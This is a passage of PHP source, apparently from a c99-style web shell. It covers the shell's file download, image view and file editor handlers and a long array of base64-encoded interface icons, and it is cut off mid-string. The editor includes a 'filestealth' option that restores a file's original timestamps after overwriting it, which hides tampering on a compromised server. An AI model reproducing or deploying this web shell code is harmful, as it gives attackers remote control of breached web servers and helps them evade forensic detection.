  3321. header("Content-type: application/octet-stream");
  3322. header("Content-length: ".filesize($d.$f));
  3323. header("Content-disposition: attachment; filename=\"".$f."\";");
  3324. echo $r;
  3325. exit;
  3326. }
  3327. elseif ($ft == "notepad")
  3328. {
  3329. @ob_clean();
  3330. header("Content-type: text/plain");
  3331. header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  3332. echo($r);
  3333. exit;
  3334. }
  3335. elseif ($ft == "img")
  3336. {
  3337. $inf = getimagesize($d.$f);
  3338. if (!$white)
  3339. {
  3340. if (empty($imgsize)) {$imgsize = 20;}
  3341. $width = $inf[0]/100*$imgsize;
  3342. $height = $inf[1]/100*$imgsize;
  3343. echo "<center><b>Size:</b> ";
  3344. $sizes = array("100","50","20");
  3345. foreach ($sizes as $v)
  3346. {
  3347. echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  3348. if ($imgsize != $v ) {echo $v;}
  3349. else {echo "<u>".$v."</u>";}
  3350. echo "%</a>  ";
  3351. }
  3352. echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  3353. }
  3354. else
  3355. {
  3356. @ob_clean();
  3357. $ext = explode($f,".");
  3358. $ext = $ext[count($ext)-1];
  3359. header("Content-type: ".$inf["mime"]);
  3360. readfile($d.$f);
  3361. exit;
  3362. }
  3363. }
  3364. elseif ($ft == "edit")
  3365. {
  3366. if (!empty($submit))
  3367. {
  3368. if ($filestealth) {$stat = stat($d.$f);}
  3369. $fp = fopen($d.$f,"w");
  3370. if (!$fp) {echo "<b>Can't write to file!</b>";}
  3371. else
  3372. {
  3373. echo "<b>Saved!</b>";
  3374. fwrite($fp,$edit_text);
  3375. fclose($fp);
  3376. if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  3377. $r = $edit_text;
  3378. }
  3379. }
  3380. $rows = count(explode("\r\n",$r));
  3381. if ($rows < 10) {$rows = 10;}
  3382. if ($rows > 30) {$rows = 30;}
  3383. echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  3384. }
  3385. elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  3386. else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  3387. }
  3388. }
  3389. }
  3390. else
  3391. {
  3392. @ob_clean();
  3393. $images = array(
  3394. "arrow_ltr"=>
  3395. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  3396. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  3397. "back"=>
  3398. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  3399. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  3400. "Wg0JADs=",
  3401. "buffer"=>
  3402. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  3403. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  3404. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  3405. "change"=>
  3406. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  3407. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  3408. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  3409. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  3410. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  3411. "zMshADs=",
  3412. "delete"=>
  3413. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  3414. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  3415. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  3416. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  3417. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  3418. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3419. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  3420. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  3421. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  3422. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  3423. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  3424. "download"=>
  3425. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  3426. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  3427. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  3428. "forward"=>
  3429. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  3430. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  3431. "WqsJADs=",
  3432. "home"=>
  3433. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  3434. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  3435. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  3436. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  3437. "mode"=>
  3438. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  3439. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  3440. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  3441. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  3442. "refresh"=>
  3443. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  3444. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  3445. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  3446. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  3447. "search"=>
  3448. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  3449. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  3450. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  3451. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  3452. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  3453. "setup"=>
  3454. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  3455. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  3456. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  3457. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  3458. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  3459. "small_dir"=>
  3460. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  3461. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  3462. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  3463. "small_unk"=>
  3464. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  3465. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  3466. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  3467. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  3468. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  3469. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  3470. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  3471. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  3472. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3473. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3474. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3475. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3476. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3477. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3478. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  3479. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  3480. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  3481. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  3482. "yAsokBkQADs=",
  3483. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  3484. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  3485. "sort_asc"=>
  3486. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  3487. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  3488. "sort_desc"=>
  3489. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  3490. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  3491. "sql_button_drop"=>
  3492. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3493. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3494. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3495. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  3496. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  3497. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  3498. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  3499. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  3500. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  3501. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  3502. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  3503. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  3504. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  3505. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  3506. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  3507. "AQEAOw==",
  3508. "sql_button_empty"=>
  3509. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3510. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3511. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3512. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  3513. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  3514. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  3515. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  3516. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  3517. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  3518. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  3519. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  3520. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  3521. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  3522. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  3523. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  3524. "sql_button_insert"=>
  3525. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  3526. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3527. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  3528. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  3529. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  3530. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  3531. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  3532. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  3533. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  3534. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  3535. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  3536. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  3537. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  3538. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  3539. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  3540. "up"=>
  3541. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  3542. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  3543. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  3544. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  3545. "write"=>
  3546. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  3547. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  3548. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  3549. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  3550. "ext_asp"=>
  3551. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  3552. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  3553. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  3554. "ext_mp3"=>
  3555. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  3556. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  3557. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  3558. "ext_avi"=>
  3559. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  3560. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  3561. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  3562. "ext_cgi"=>
  3563. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  3564. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  3565. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  3566. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  3567. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3568. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3569. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3570. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  3571. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  3572. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  3573. "RYtMAgEAOw==",
  3574. "ext_cmd"=>
  3575. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  3576. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  3577. "dmrYAMn1onq/YKpjvEgAADs=",
  3578. "ext_cpp"=>
  3579. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  3580. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  3581. "Eq7YrLDE7a4SADs=",
  3582. "ext_ini"=>
  3583. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  3584. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  3585. "SnEjgPVarHEHgrB43JvszsQEADs=",
  3586. "ext_diz"=>
  3587. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  3588. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  3589. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  3590. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  3591. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  3592. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  3593. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  3594. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  3595. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3596. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3597. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3598. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3599. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3600. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3601. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
